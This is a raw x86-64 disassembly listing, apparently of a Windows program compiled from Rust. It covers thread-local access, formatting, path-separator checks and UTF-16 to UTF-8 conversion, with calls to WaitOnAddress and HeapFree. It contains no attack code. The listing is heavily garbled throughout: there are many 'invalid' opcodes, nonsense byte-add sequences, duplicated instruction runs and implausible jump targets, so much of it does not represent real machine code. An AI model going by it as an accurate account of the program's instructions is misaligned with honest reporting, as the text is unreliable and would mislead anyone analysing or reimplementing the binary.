pop rsi
pop r14
pop r15
pop rbp
jmp fcn.1400d4890
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
lea rcx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
lea r8, [0x140149a00]
mov edx, 0x5e
call fcn.140108990
mov dl, 0x1b
add eax, dword [rax]
mov dl, 0x1b
add eax, dword [rax]
ud2
adc byte [rbp + 0x41], dl
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x20]
call fcn.1400d48f0
int3
int3
push rbx
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov qword [rbp - 8], 0xfffffffffffffffe
mov esi, edx
mov rbx, rcx
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xc8]
cmp eax, 1
invalid
je 0x1400d6e83
add dword [rax + rcx*2 - 0x7b], esi
ror byte [rdi], 0x85
invalid
test eax, eax
jne 0x1400d6f61
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xc0]
mov al, al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xffffd87c
mov al, al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xffffd87c
call fcn.1400d4720
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xc8], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rdi, qword [rax + 0xc0]
test rdi, rdi
jne 0x1400d6ec1
add byte [rax - 0x7b], cl
push qword [rbp + 0x1f]
call fcn.140110220
mov eax, dword [0x140182314]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov rdi, qword [rax + 0xc0]
rol byte [rax], 0
add al, dh
inc qword [rdi]
lock inc qword [rdi]
jle 0x1400d6f79
test rdi, rdi
je 0x1400d6f61
add byte [rax], al
invalid
add byte [rax], al
add al, dh
dec byte [rdi + 0x30]
lock dec byte [rdi + 0x30]
je 0x1400d6f3d
lea r14, [rdi + 0x30]
mov ecx, 0x3e8
add byte [rax - 0x77], cl
fmul dword [rax - 9]
loope 0x1400d6f2b
mov ecx, 0xffffffff
add byte [rax - 0x77], cl
fmul dword [rax - 9]
loope 0x1400d6f2b
mov ecx, 0xffffffff
jo 0x1400d6f22
mov ecx, esi
imul rcx, rcx, 0x431bde83
shr rcx, 0x32
jmp 0x1080eb733
jb 0x1400d6f22
imul ecx, ecx, 0xf4240
xor edx, edx
sub esi, ecx
setne dl
add rax, rdx
jb 0x1400d6f22
mov r9d, 0xffffffff
cmp rax, r9
enter 0xf4c, 0x42
invalid
enter 0xf4c, 0x42
enter 0xffffffffffff8d48, 0x15
invalid
lea rdx, [0x14014b748]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
mov rcx, r14
int1
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WaitOnAddress]
xor eax, eax
xchg byte [r14], al
lock dec qword [rdi]
jne 0x1400d6f55
mov rcx, rdi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
jmp fcn.1400d4890
nop
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rcx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
lea r8, [0x140149a00]
add eax, 0x72a91
mov edx, 0x5e
call fcn.140108990
ud2
cmp rax, 2
jne 0x1400d7047
mov rbx, qword [rdi + 0x48]
test rbx, rbx
je 0x1400d71ea
mov rdi, qword [rdi + 0x40]
lea r14, [rbp + 8]
nop
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.140014300
cmp qword [rbp + 8], 0
je 0x1400d71d2
mov r12, qword [rbp + 0x10]
movzx r15d, byte [rbp + 0x18]
movzx r13d, byte [rbp + 0x19]
mov r8d, 3
mov rcx, rsi
lea rdx, [0x14014a8e8]
call fcn.140013630
test al, al
jne 0x1400d71e6
test r15b, 1
je 0x1400d71ea
add r12, r13
cmp rbx, r12
jb 0x1400d7200
add rdi, r12
sub rbx, r12
jne 0x1400d6fe0
jmp 0x1400d71ea
test rax, rax
je 0x1400d70d9
lea rax, [rdi + 8]
test byte [rsi + 0x34], 4
mov qword [rbp + 0x40], rax
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0xf4240
mov qword [rbp], rsi
lea rax, [rbp + 0x40]
jne 0x1400d7103
mov qword [rbp - 0x40], rax
lea rax, [0x1400cde30]
mov qword [rbp - 0x38], rax
lea rax, [0x140173648]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], 1
mov qword [rbp + 0x28], 0
lea rax, [rbp - 0x40]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], 1
lea rdx, [0x140144990]
add byte [rax - 0x73], cl
invalid
invalid
lea r8, [rbp + 8]
call fcn.140013990
mov rcx, qword [rbp - 0x10]
test al, al
jne 0x1400d718b
jmp case.0x140096fc6.834
mov rdx, qword [rdi + 0x20]
mov r8, qword [rdi + 0x28]
mov rbx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rsi, qword [rax + 0x18]
mov rcx, rbx
call rsi
mov ecx, eax
mov al, 1
test cl, cl
je 0x1400d71c3
invalid
add byte [rax], al
invalid
invalid
jmp 0x1400d71ec
mov qword [rbp - 0x50], rax
lea rax, [0x1400cde30]
mov qword [rbp - 0x48], rax
mov qword [rbp + 8], 2
or byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [r10], r8b
add byte [rax], al
add byte [rax - 0x39], cl
sub byte [r8], r8b
add byte [rax], al
add byte [rax - 0x48], cl
and byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
or byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [r10], r8b
add byte [rax], al
add byte [rax - 0x39], cl
sub byte [r8], r8b
add byte [rax], al
add byte [rax - 0x48], cl
and byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
mov qword [rbp + 0x30], rax
mov byte [rbp + 0x38], 3
lea rax, [0x140173648]
invalid
or dword [rax], eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
enter 1, 0
add byte [rax - 0x73], cl
lea eax, [rbp + 8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
lea rax, [rbp - 0x50]
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x30], eax
mov qword [rbp - 0x28], 1
add dword [rax], eax
add byte [rax], al
invalid
invalid
add dword [rax], eax
add byte [rax], al
invalid
lea rdx, [0x140144990]
lea rcx, [rbp - 0x10]
lea r8, [rbp - 0x40]
call fcn.140013990
mov rcx, qword [rbp - 0x10]
test al, al
add byte [rax - 0x73], cl
invalid
je case.0x140096fc6.834
test rcx, rcx
je case.0x140096fc6.834
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.size_limit_reached_fmt::Error__from__SizeLimitedFmtAdapter__was_discarded
mov r8d, 0x14
add bh, bh
push rax
invalid
test al, al
je 0x1400d71b7
add bh, bh
push rax
sbb byte [rax + rax*8 + 0x38eb0b74], al
jmp 0x1400d71e6
jmp 0x1400d71e6
test al, al
jne 0x1400d71e6
test rcx, rcx
jne 0x1400d7212
mov rbx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rsi, qword [rax + 0x18]
mov rdx, qword [rdi + 0x30]
mov r8, qword [rdi + 0x38]
mov rcx, rbx
fcos
invalid
jmp 0x1400d71ec
xor byte [rbx + rcx*4 + 0x47], cl
cmp byte [rax - 0x77], cl
fcos
invalid
mov rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
mov rcx, rsi
call fcn.140013630
invalid
test al, al
je 0x1400d71ea
inc dword [rax + rax*8 + 0x1b00474]
mov al, 1
jmp 0x1400d71ec
xor eax, eax
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str.library_std_src...._backtrace_src_symbolizemod.rs
mov rcx, r12
mov rdx, rbx
call fcn.1401085a0
lea rax, [0x140145020]
mov qword [rsp + 0x20], rax
lea rcx, [0x140144fe4]
invalid
add byte [rbp + rcx*4 + 0xd], cl
lodsb al, byte [rsi]
invalid
invalid
add byte [rbp + rcx*4 + 0x45], cl
lea eax, [rbp + 8]
invalid
lea eax, [rbp + 8]
mov edx, 0x37
call fcn.1401088e0
int3
push r15
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x1a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x120], 0xfffffffffffffffe
mov dword [rbp + 0x120], 0xfffffffe
mov dword [rbp + 0x120], 0xfffffffe
mov rbx, r9
mov r14d, r8d
mov rax, rdx
mov qword [rbp + 0xf0], rcx
mov dword [rbp + 0xf0], ecx
mov dword [rbp + 0xf0], ecx
cmp qword [rdx], 0
mov rdx, qword [rdx + 8]
mov r8, qword [rax + 0x10]
adc byte [rax - 0x73], cl
lea eax, [rax + 0x74000000]
invalid
adc byte [rax - 0x73], cl
lea eax, [rax + 0x74000000]
cmp ch, al
jo 0x1400d7295
call fcn.1400d7a00
add byte [rax], al
mov rax, qword [rbp + 0x80]
add byte [rax], al
mov qword [rbp + 0xf8], rax
mov rax, qword [rbp + 0x88]
test dword [rax + 0x48000000], ecx
mov dword [rbp + 0x110], eax
test dword [rax + 0x48000000], ecx
mov dword [rbp + 0x110], eax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x118], rax
sbb byte [rcx], al
add byte [rax], al
test r14b, r14b
jne 0x1400d76f3
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], ebx
sbb byte [rcx], al
add byte [rax], al
test r14b, r14b
jne 0x1400d76f3
invalid
jmp 0x1400d7316
push rcx
call fcn.140014300
cmp qword [rbp + 0x80], 0
lea rax, [0x14014a839]
cmove rax, qword [rbp + 0x88]
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], edx
add dword [rax], eax
add byte [rax + 9], bh
mov eax, 9
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], edx
add dword [rax], eax
add byte [rax + 9], bh
mov eax, 9
cmove rax, qword [rbp + 0x90]
mov qword [rbp + 0x118], rax
add dword [rax], eax
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77a76b8], al
add byte [rax], al
add byte [rbp - 0x7c], al
invalid
add dword [rax], eax
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77a76b8], al
add byte [rax], al
add byte [rbp - 0x7c], al
test byte [rdi], 0x85
jne 0x1400d76f3
jne 0x1400d76f3
mov rcx, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x118]
call fcn.1400d7d80
test rbx, rbx
fisttp dword [rdi]
xchg esp, eax
sal dword [rcx + rax], 8
or al, cl
jne 0x1400d76f3
invalid
fisttp dword [rdi]
xchg esp, eax
sal dword [rcx + rax], 8
or al, cl
invalid
invalid
invalid
add eax, dword [rax]
add byte [rbx + rcx*4 + 0x73], cl
or byte [rax - 0x75], cl
mov ebx, dword [rbx + 0x10]
lea rcx, [rbp + 0x80]
mov rdx, qword [rbp + 0x110]
add dword [rax], eax
invalid
mov r14, qword [rbx + 8]
jae case.0x1400b4e39.713
mov rbx, qword [rbx + 0x10]
mov ebx, dword [rbx + 0x10]
lea rcx, [rbp + 0x80]
mov rdx, qword [rbp + 0x110]
add dword [rax], eax
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
adc byte [rcx], al
add dword [rax], eax
invalid
mov r8, qword [rbp + 0x118]
mov eax, dword [rbp + 0x118]
sbb byte [rcx], al
add byte [rax], al
call fcn.1400d7ec0
add byte [rax], al
movzx r13d, byte [rbp + 0x80]
mov rcx, qword [rbp + 0x90]
mov rax, qword [rbp + 0xa0]
invalid
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
lea edx, [rax + 0x48000000]
mov eax, dword [rbp + 0xa0]
invalid
add byte [rax], al
invalid
movabs al, byte [0x4cd5b60f41000000]
lea eax, [0x14017950c]
movzx edx, r13b
lea r8, [0x14017950c]
invalid
movsxd r9, dword [r8 + rdx*4]
or al, 0x90
add r9, r8
mov rdx, qword [rbp + 0x118]
mov edx, dword [rbp + 0x118]
mov edx, dword [rbp + 0x118]
mov r8, qword [rbp + 0x110]
jmp r9
add rcx, 4
jmp 0x1400d73ce
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x1400d73ce
mov ecx, 6
jmp 0x1400d73ce
invalid
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x1400d73ce
invalid
mov ecx, 2
add byte [rax - 0x75], cl
xchg ebp, eax
sbb byte [rcx], al
add byte [rax], al
invalid
mov rdx, qword [rbp + 0x118]
add byte [rax + 0x29], cl
retf 0x820f
sub rdx, rcx
jb 0x1400d794b
add byte [rax], al
add byte [rax], al
add rcx, qword [rbp + 0x110]
mov r8, rcx
test rdx, rdx
je 0x1400d7401
invalid
adc al, 0x41
movzx eax, byte [rax]
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete sil
invalid
or sil, cl
jmp 0x1400d7403
xor esi, esi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x6f], rax
outsd dx, dword [rsi]
outsd dx, dword [rsi]
movups xmm0, xmmword [rbp + 0x81]
movups xmm1, xmmword [rbp + 0x91]
xchg ecx, eax
add byte [rax], al
invalid
movaps xmmword [rbp + 0x60], xmm1
movaps xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x80]
mov rdx, r14
mov edx, esi
mov r8, rbx
call fcn.1400d7ec0
movzx edx, byte [rbp + 0x80]
mov rcx, qword [rbp + 0x90]
mov rax, qword [rbp + 0xa0]
test dword [rax + 0x4c000000], esp
lea eax, [0x140179528]
test dword [rax + 0x4c000000], esp
lea eax, [0x140179528]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rbx
mov r8, r14
jmp r9
jmp rcx
jmp rcx
add rcx, 4
jmp 0x1400d749c
invalid
xor al, 0x48
lea edx, [rax + 1]
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x1400d749c
invalid
and byte [rcx + 6], bh
mov ecx, 6
jmp 0x1400d749c
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
add ecx, 2
add ecx, 2
jmp 0x1400d749c
mov ecx, 2
mov rdx, rbx
sub rdx, rcx
retf 0x820f
invalid
add al, 0
invalid
retf 0x820f
add al, 0
add byte [rcx + rax - 0xf], cl
add rcx, r14
mov r8, rcx
test rdx, rdx
je 0x1400d74c5
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
invalid
jmp 0x1400d74c7
xor eax, eax
mov edx, esi
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], rbx
movups xmm0, xmmword [rbp + 0x80]
movups xmm1, xmmword [rbp + 0x90]
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm1
mov rcx, qword [rbp + 0xa0]
mov qword [rbp - 0x30], rcx
mov byte [rbp - 0x26], al
mov word [rbp - 0x28], 0x200
lea rsi, [rbp + 0x21]
mov bl, 2
xor r14d, r14d
mov rdi, qword [rbp + 0x118]
mov r15, qword [rbp + 0x110]
cmp r13b, 6
je 0x1400d7541
lahf
add byte [rax], al
add byte [rax - 0x77], cl
invalid
cmp al, 0xa
jne 0x1400d76f3
add byte [rax], al
add byte [rax], al
mov rax, qword [rbp + 0x6f]
mov qword [rbp - 1], rax
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp - 0x10], xmm1
invalid
invalid
movaps xmmword [rbp - 0x20], xmm0
mov eax, dword [rbp + 0x100]
test dword [rax], eax
add dword [rax], eax
add byte [rcx + 0x10885], cl
add byte [rdi], cl
mov dh, 0x85
add al, 1
add byte [rax], al
invalid
test dword [rax], eax
add dword [rax], eax
add byte [rcx + 0x10885], cl
add byte [rdi], cl
mov dh, 0x85
add al, 1
add byte [rax], al
mov byte [rbp + 0x10c], al
or al, 1
add byte [rax], al
cmp r12b, 2
je 0x1400d76f3
mov rax, qword [rbp - 1]
mov qword [rbp + 0xb0], rax
add byte [rax], al
add byte [rax], al
movaps xmm0, xmmword [rbp - 0x20]
movaps xmm1, xmmword [rbp - 0x10]
movups xmmword [rbp + 0xa1], xmm1
movups xmmword [rbp + 0x91], xmm0
mov eax, dword [rbp + 0x108]
add byte [rcx + 0xbb85], cl
invalid
add byte [rcx + 0xbb85], cl
add byte [rdi], cl
mov dh, 0x85
or al, 1
add byte [rax], al
add byte [rax], al
movzx eax, byte [rbp + 0x10c]
mov byte [rbp + 0xbf], al
mov qword [rbp + 0x80], r15
add byte [rax], al
add byte [rax - 0x77], cl
mov ebp, 0x88
add byte [rax], al
add byte [rax - 0x77], cl
mov ebp, 0x88
mov byte [rbp + 0x90], r13b
mov byte [rbp + 0xb8], r14b
mov eax, 0x88000000
popfq
mov ecx, 0x44000000
add byte [rax], al
add byte [rax + rcx*4 - 0x5b], al
movsd dword [rdi], dword [rsi]
invalid
add byte [rax], al
invalid
mov eax, 0x88000000
popfq
mov ecx, 0x44000000
add byte [rax], al
add byte [rax + rcx*4 - 0x5b], al
movsd dword [rdi], dword [rsi]
invalid
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + rcx*4 - 0x5b], al
movsd dword [rdi], dword [rsi]
mov edx, 0x48000000
lea ecx, [rbp + 0x80]
add byte [rax], 0
invalid
lea rcx, [rbp + 0x80]
add byte [rax], 0
add al, ch
invalid
call fcn.1400d8830
adc dword [rax], eax
add byte [rax - 0x7b], cl
sal byte [rax + riz + 0x49], 0x89
mov r8, rdx
lea rcx, [rbp + 0x80]
mov rdx, rax
invalid
add byte [rax], al
test rax, rax
je 0x1400d76f3
mov r8, rdx
lea rcx, [rbp + 0x80]
mov rdx, rax
invalid
add byte [rax], 0
add byte [rax - 0x77], cl
ret 0x1be8
invalid
call fcn.140014300
cmp qword [rbp + 0x80], 0
mov ebp, 0x80
invalid
sbb ecx, esp
dec dword [rax - 0x7d]
mov ebp, 0x80
add byte [rdi], cl
je 0x1400d78bd
invalid
invalid
test dword [rax], edx
add dword [rax], eax
je 0x1400d78bd
mov rax, qword [rbp + 0x110]
mov eax, dword [rbp + 0x110]
add byte [rbx + rcx*4 - 0x7b], cl
mov r8, qword [rbp + 0x118]
sbb byte [rcx], al
add byte [rax], al
lea r13, [rax + r8]
mov rax, qword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov rcx, qword [rax + 0x20]
mov rsi, qword [rax + 0x28]
xor eax, eax
lea r14, [0x14014a8e8]
mov r15b, 1
cmp rax, r8
je 0x1400d78b8
mov rdx, qword [rbp + 0x110]
add rdx, rax
mov rbx, rax
mov r9, rdx
jmp 0x1400d775f
add r9, 2
cmp r8, r13
cmovne r8, r9
mov r10d, 2
nop dword [rax]
add rbx, r10
mov r9, r8
cmp r8, r13
je 0x1400d784f
lea r8, [r9 + 1]
movzx r11d, byte [r9]
mov r10d, 1
mov edx, 1
test r11b, r11b
jns 0x1400d7750
cmp r11b, 0xe0
jb 0x1400d773b
cmp r11b, 0xed
jne 0x1400d77aa
cmp r8, r13
je 0x1400d784f
lea r8, [r9 + 2]
cmp r8, r13
je 0x1400d784f
cmp byte [r9 + 1], 0x9f
ja case.0x1400d5dee.379
add r9, 3
mov r10d, 3
mov r8, r9
jmp 0x1400d7750
add r9, 2
cmp r8, r13
cmove r9, r8
xor r8d, r8d
cmp r9, r13
setne r8b
ror byte [rbp + 1], 0xc8
ror byte [rbp + 1], 0xc8
mov r10d, 3
cmp r11b, 0xf0
jb 0x1400d7750
xor r9d, r9d
cmp r8, r13
setne r9b
add r8, r9
mov r10d, 4
add cl, ch
push 0xffffffffffffffff
invalid
invalid
add cl, ch
push 0xffffffffffffffff
invalid
mov r8, rbx
sub r8, rax
jb 0x1400d7989
xchg edi, eax
add dword [rax], eax
invalid
xchg edi, eax
add dword [rax], eax
add byte [rax + 0x3b], cl
popfq
sbb byte [rcx], al
add byte [rax], al
cmp rbx, qword [rbp + 0x118]
ja 0x1400d7971
xchg dword [rdx + 1], esi
add byte [rax], al
mov rdi, qword [rsi + 0x18]
jle 0x1400d781b
mov r12, rcx
call rdi
test al, al
jne case.0x1400d5dee.389
mov r8d, 3
mov rcx, r12
mov rdx, r14
call rdi
test al, al
jne case.0x1400d5dee.389
sal byte [rbp + 0x5e], 0x48
add ebx, 3
add rbx, 3
mov rax, rbx
mov r8, qword [rbp + 0x118]
add byte [rax], al
add byte [rax], al
cmp rbx, r8
mov rcx, r12
jbe 0x1400d7720
mov rdx, r8
lea r8, str.library_std_src_sys_commonwtf8.rs
fidiv word [rax]
invalid
add byte [rax - 0x77], cl
fld1
push rsi
or eax, 0x4ce90003
add dword [rax], eax
invalid
mov r8, qword [rbp + 0x118]
sub r8, rax
sub eax, eax
mov rdx, qword [rbp + 0x110]
add rdx, rax
add edx, eax
test rax, rax
je 0x1400d786d
call qword [rsi + 0x18]
jmp 0x1400d7879
push rsi
sbb bl, ch
or al, 0x48
mov ecx, dword [rbp + 0xf0]
mov rcx, qword [rbp + 0xf0]
call fcn.140013630
mov bh, 0xbd
inc dword [rcx - 0x77]
invalid
mov r15d, eax
mov rax, qword [rbp + 0xf8]
shl rax, 1
test rax, rax
je case.0x1400b36b6.730
mov rcx, qword [0x140182260]
or al, byte [rax]
xor edx, edx
mov r8, qword [rbp + 0x110]
add bh, bh
adc eax, 0x3babf
invalid
invalid
add eax, dword [rax]
add bh, bh
adc eax, 0x3babf
invalid
invalid
add eax, dword [rax]
mov eax, r15d
add rsp, 0x1a8
add esp, 0x1a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, r8
jmp 0x1400d7856
lea eax, [0x14014a868]
mov qword [rbp + 0x10], rax
lea rax, [fcn.140017f40]
invalid
invalid
hlt
dec dword [rax - 0x77]
sbb byte [r8 - 0x73], r9b
sbb byte [rax - 0x73], cl
invalid
invalid
invalid
invalid
sbb byte [rax - 0x73], cl
movabs al, byte [0x43058d4820458948]
mov qword [rbp + 0x20], rax
lea rax, [0x140013930]
invalid
invalid
mov qword [rbp + 0x20], rax
lea rax, [0x140013930]
invalid
invalid
mov qword [rbp + 0x28], rax
lea rax, [0x14014a848]
mov qword [rbp + 0x80], rax
mov dword [rbp + 0x80], eax
mov qword [rbp + 0x88], 2
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], esp
add byte [rax], al
add byte [rax], al
lea rax, [rbp + 0x10]
mov qword [rbp + 0x90], rax
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 0x2000000], ebx
cwde
add byte [rax], al
add byte [rdx], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 0x2000000], ebx
cwde
add byte [rax], al
add byte [rdx], al
cwde
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
test eax, esi
add byte [rax], al
mov rax, qword [rbp + 0xf0]
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
sub byte [rbp + rcx*4 - 0x7b], cl
add byte [rax], 0
invalid
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 - 0x7b], cl
test dword [rax - 0x18000000], eax
add byte [rax], 0
add al, ch
invalid
add byte [rax], al
call fcn.140013990
sal bl, 0xff
invalid
jmp 0x1400d7879
dec dword [rbp + rcx*4 + 5]
fisubr word [rcx]
invalid
lea r8, str.library_std_srcpath.rs
lea eax, [0x14014a330]
add byte [rax - 0x75], cl
xchg ebp, eax
sbb byte [rcx], al
add byte [rax], al
mov rdx, qword [rbp + 0x118]
call fcn.1401085a0
jmp 0x1400d799b
lea r8, str.library_std_srcpath.rs
mov rdx, rbx
call fcn.1401085a0
jmp 0x1400d799b
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rbx
mov rdx, qword [rbp + 0x118]
add al, ch
cdq
or al, 3
add eax, dword [rax]
jmp 0x1400d799b
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rax
mov rdx, rbx
invalid
call fcn.140108810
invalid
invalid
add byte [rdi], cl
or ecx, dword [rdi]
invalid
ud2
test eax, eax
je 0x1400d79e1
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0x110]
mov eax, dword [rbp + 0x110]
mov eax, dword [rbp + 0x110]
test dword [rax], edx
add dword [rax], eax
add bh, bh
call qword [sym.imp.kernel32.dll_HeapFree]
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
int3
int3
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov qword [rbp], 0xfffffffffffffffe
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
test r8, r8
mov qword [rbp - 0x48], rcx
je case.0x14002a2ab.2574
js 0x1400d7d18
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rbx
call fcn.1400df910
retf 0x7e
invalid
test rax, rax
je 0x1400d7d1d
mov r12, rax
jmp 0x1400d7a5a
mov r12d, 1
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x10], 0
mov byte [rbp - 8], 1
lea rsi, [rdi + rbx*2]
xor r15d, r15d
xor r14d, r14d
test r14w, r14w
jne 0x1400d7aa0
jmp 0x1400d7ac0
lea rcx, [r12 + r15]
or al, 0x3c
lea rdx, [rbp - 0x40]
mov r8, r13
call 0x142f81b77
add byte [rbp + 1], cl
out dx, eax
mov qword [rbp - 0x10], r15
xor r14d, r14d
test r14w, r14w
je 0x1400d7ac0
mov r13d, ebx
mov eax, r13d
and eax, 0xf800
cmp eax, 0xd800
fadd dword [rax]
add byte [rdi], cl
test edx, ebx
fiadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rdi], cl
test edx, ebx
fiadd dword [rax]
add byte [rax], al
invalid
fiadd dword [rax]
add byte [rax], al
jmp 0x1400d7ae4
sub al, 0xf
invalid
cmp rdi, rsi
cmp edi, esi
je 0x1400d7cec
movzx r13d, word [rdi]
add rdi, 2
mov eax, r13d
call 0x141057afd
add byte [0x1400e52de], bh
cmp eax, 0xd800
jne case.0x1400b958a.708
add byte [rax], al
invalid
movzx eax, r13w
cmp eax, 0xdbff
ja 0x1400d7b1b
cmp rdi, rsi
je 0x1400d7b20
invalid
sub al, 0xf
mov bh, 7
movzx eax, word [rdi]
add rdi, 2
mov ecx, eax
add ecx, 0x2000
rol dword [rax], 0x20
add byte [rax], al
rol dword [rcx + 0x2000c1], 0
rol dword [rax], 0x20
add byte [rax], al
movzx ecx, cx
cmp ecx, 0xfc00
cld
add byte [rax], al
cld
add byte [rax], al
jae 0x1400d7ba0
add byte [rax], al
add byte [rsi + 0x41], ah
mov esi, 0xc3890001
add dword [rax], eax
mov ebx, eax
mov r14w, 1
add dword [rax], eax
mov ebx, eax
jmp case.0x1400b958a.692
xor r14d, r14d
xor esi, esi
jmp case.0x1400b958a.692
xor r14d, r14d
xor esi, esi
mov rdi, rsi
mov byte [rbp - 8], 0
mov rax, qword [rbp - 0x20]
sub rax, r15
cmp rax, 2
ja 0x1400d7b4d
mov r8d, 3
lea rcx, [rbp - 0x20]
mov rdx, r15
add byte [rax], al
add byte [rax - 0x73], cl
loopne 0x1400d7b8e
mov edx, edi
call fcn.1401103f0
mov r15, qword [rbp - 0x10]
mov eax, r13d
shr eax, 6
and al, 0x3f
or al, 0x80
and r13b, 0x3f
or r13b, 0x80
mov r12, qword [rbp - 0x18]
call 0x17c1241aa
in eax, dx
call 0x17c1241aa
in eax, dx
mov byte [r12 + r15 + 1], al
mov byte [r12 + r15 + 2], r13b
insb byte [rdi], dx
cmp al, 2
insb byte [rdi], dx
cmp al, 2
add r15, 3
mov qword [rbp - 0x10], r15
invalid
test r14w, r14w
test byte [rdi], 0x85
sbb al, 0xff
invalid
invalid
add ecx, dword [rcx + rcx*4 + 0x7d]
invalid
test byte [rdi], 0x85
sbb al, 0xff
invalid
invalid
jmp 0x1400d7ac0
nop dword [rax]
add byte [rax], al
shl r13d, 0x10
in eax, 0x10
jmp 0x1400d7bc9
xor esp, dword [rsi + 0x2e]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov bh, 0xc0
movzx eax, ax
and r13d, 0x3ff
and eax, 0x3ff
inc dword [rbx]
add byte [rax], al
in eax, 0xff
add eax, dword [rax]
